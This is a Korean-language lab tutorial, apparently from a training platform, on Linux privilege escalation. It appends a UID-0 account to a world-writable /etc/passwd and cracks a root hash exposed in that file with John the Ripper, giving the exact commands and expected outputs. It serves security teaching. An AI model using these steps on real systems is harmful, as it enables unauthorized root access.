소개
/etc/passwd 및 /etc/shadow 파일은 Linux 시스템에서 사용자 인증에 매우 중요합니다. 시스템 관리자가 이러한 파일의 내용 또는 권한을 잘못 구성하면 권한 상승 취약점이 발생할 수 있습니다. 이 랩에서는 /etc/passwd 파일을 악용하여 권한 상승 (privilege escalation) 방법을 살펴봅니다.
/etc/passwd 및 /etc/shadow 파일은 Linux 시스템에서 사용자 인증에 매우 중요합니다. 시스템 관리자가 이러한 파일의 내용 또는 권한을 잘못 구성하면 권한 상승 취약점이 발생할 수 있습니다. 이 랩에서는 /etc/passwd 파일을 악용하여 권한 상승 (privilege escalation) 방법을 살펴봅니다.
이 단계에서는 /etc/passwd 파일의 구조와 의미를 살펴봅니다.
Linux 시스템에서 사용자 비밀번호 정보는 /etc/passwd 및 /etc/shadow 두 파일에 저장됩니다. /etc/passwd 파일에는 사용자 정보가 포함되어 있으며, 각 줄은 단일 사용자 계정을 나타냅니다. 각 줄은 콜론으로 구분된 7 개의 필드로 나뉩니다.
x로 설정된 경우, 비밀번호는 /etc/shadow에 저장됨)이제 터미널을 열고 /home/labex/project 디렉토리로 이동하여 다음 단계로 진행합니다.
cd /home/labex/project
/etc/passwd 파일에서 labex 사용자의 정보를 가져와 /home/labex/project 디렉토리에 labex_passwd.txt라는 파일로 저장합니다.
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
labex_passwd.txt 파일의 내용을 확인합니다.
cat labex_passwd.txt
예상 출력:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
각 필드가 나타내는 내용은 다음과 같습니다.
/etc/shadow에 저장됨 ( x로 표시됨)/home/labex/usr/bin/zshLinux 인증 프로세스 동안 다음 단계가 수행됩니다.
/etc/passwd 파일의 각 줄의 첫 번째 필드와 비교됩니다.0이면 root 사용자를 나타내며, 사용자 이름에 관계없이 전체 관리 권한을 부여합니다.보시다시피, /etc/passwd 파일은 Linux 인증 프로세스에서 중요한 역할을 합니다. 공격자가 이 파일을 수정할 수 있다면, 무단 액세스를 얻고 권한을 상승시킬 수 있습니다.
이 단계에서는 /etc/passwd 파일에 대한 쓰기 권한을 악용하여 권한을 상승시키는 방법을 배웁니다.
먼저, 랩 환경을 설정해 보겠습니다. 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup1.sh
이 명령은 랩 환경을 설정하는 스크립트를 실행합니다. 환경이 준비되었음을 나타내는 출력을 볼 수 있습니다.
설정 후, 침투 테스트 중에 얻은 초기 쉘 액세스를 시뮬레이션하여 user001 사용자로 로그인됩니다.
user001 사용자의 홈 디렉토리로 이동합니다.
cd ~
whoami 명령을 사용하여 현재 사용자를 확인합니다.
whoami
예상 출력:
user001
id 명령을 사용하여 사용자 및 그룹 ID 를 확인합니다.
id
예상 출력:
uid=1001(user001) gid=1001(user001) groups=1001(user001)
보시다시피, 특별한 권한이 없는 일반 사용자입니다.
다음으로, /etc/passwd 및 /etc/shadow 파일의 권한을 확인합니다.
ls -l /etc/passwd /etc/shadow
예상 출력:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow
/etc/passwd 파일이 모든 사용자에 대해 실행 및 쓰기 권한 (--wx--xrwx) 을 가지고 있음을 확인하십시오. 이는 시스템 관리자의 잘못된 구성입니다.
우리의 목표는 사용자 지정 사용자 이름, 비밀번호 및 UID 가 0 (root) 인 새로운 사용자 항목을 /etc/passwd 파일에 생성하는 것입니다. 이를 통해 root 사용자로 로그인할 수 있습니다.
먼저, /etc/passwd 파일에서 root 사용자의 항목 형식을 검사하여 new_user_entry.txt라는 새 파일로 추출합니다.
cat /etc/passwd | grep root > new_user_entry.txt
cat 명령을 사용하여 new_user_entry.txt 파일의 내용을 볼 때 예상 출력:
root:x:0:0:root:/root:/bin/bash
자체 항목을 생성하려면 new_user_entry.txt 파일에서 사용자 이름을 root에서 new-user와 같이 원하는 이름으로 변경합니다.
new-user:x:0:0:root:/root:/bin/bash
두 번째 필드의 x를 암호화된 비밀번호 해시로 바꿉니다. openssl 도구를 사용하여 비밀번호 (예: pass123) 에 대한 해시를 생성할 수 있습니다.
openssl passwd -1 -salt ignite pass123
예상 출력:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
new_user_entry.txt 파일의 두 번째 필드에 해시를 대체합니다.
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
이제 이 줄을 /etc/passwd 파일에 추가합니다.
echo "$(cat new_user_entry.txt)" >> /etc/passwd
참고: /etc/passwd 파일은 모든 사용자에 대한 쓰기 권한이 있으므로 새 항목을 추가할 수 있습니다. 실제 시나리오에서는 이 파일이 일반 사용자에 대한 쓰기 권한을 가져서는 안 됩니다.
/etc/passwd 파일에서 new-user를 검색하여 새 항목을 확인합니다.
cat /etc/passwd | grep new-user
예상 출력:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
마지막으로, 비밀번호 pass123을 사용하여 new-user 사용자로 전환합니다.
su new-user
메시지가 표시되면 비밀번호 pass123을 입력합니다. 이제 프롬프트가 변경된 것으로 표시되듯이 root 권한을 갖게 됩니다.
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
이 단계에서는 root 사용자의 비밀번호 해시가 /etc/shadow 파일 대신 /etc/passwd 파일에 저장된 경우 권한을 상승시키는 방법을 배웁니다.
먼저, 랩 환경을 설정해 보겠습니다. 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
만약 여전히 new-user로 로그인되어 있다면, labex 쉘에 도달할 때까지 exit 명령을 사용하여 현재 쉘을 종료한 다음 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup2.sh
이 명령은 랩 환경을 설정하는 스크립트를 실행합니다. 환경이 준비되었음을 나타내는 출력을 볼 수 있습니다.
설정 후, 침투 테스트 중에 얻은 초기 쉘 액세스를 시뮬레이션하여 user001 사용자로 로그인됩니다.
user001 사용자의 홈 디렉토리로 이동합니다.
cd ~
/etc/passwd 및 /etc/shadow 파일의 권한을 확인합니다.
ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow
이번에는 파일 권한이 올바르게 구성되어 있으며, /etc/passwd 파일에 대한 읽기 권한만 있습니다.
/etc/passwd 파일의 내용을 보고 root 사용자의 비밀번호 해시를 찾습니다.
cat /etc/passwd | grep ^root > ~/hash.txt
다음 명령을 실행하여 hash.txt 파일의 내용을 확인합니다.
cat ~/hash.txt
예상 출력:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
root 사용자의 비밀번호 해시가 /etc/passwd 파일의 두 번째 필드에 저장되어 있음을 확인하십시오. 이는 일반적으로 이전 시스템 침해 또는 시스템 관리자의 잘못된 구성의 결과입니다.
이제 john을 실행하여 해시를 크래킹합니다.
john ~/hash.txt > ~/cracked.txt
john은 사전 공격을 사용하여 비밀번호 해시를 크래킹하는 널리 사용되는 비밀번호 크래킹 도구입니다. 출력은 비밀번호가 성공적으로 크래킹되었는지 여부를 나타냅니다.
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
크래킹된 비밀번호를 보려면 cracked.txt 파일의 내용을 확인합니다.
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello (root)
보시다시피, john은 비밀번호를 성공적으로 크래킹했으며, 이는 hello입니다.
su 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 비밀번호를 입력합니다.
su root
메시지가 표시되면 비밀번호 hello를 입력합니다. 이제 명령 프롬프트가 변경된 것으로 표시되듯이 root 권한을 갖게 됩니다.
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
이 랩에서는 Linux 사용자 인증 프로세스, /etc/passwd 파일의 중요성, 그리고 이를 권한 상승에 활용하는 방법에 대해 배웠습니다. 두 가지 시나리오를 다루었습니다. (1) /etc/passwd 파일에 쓰기 권한이 있어 root 권한으로 새 사용자 항목을 생성할 수 있는 경우, (2) root 사용자의 비밀번호 해시가 /etc/passwd 파일에 저장되어 john 도구를 사용하여 비밀번호를 크래킹할 수 있는 경우입니다. 실습을 통해 /etc/passwd 파일의 잘못된 구성을 활용하여 Linux 시스템에서 권한을 상승시키는 방법에 대한 더 깊은 이해를 얻었습니다.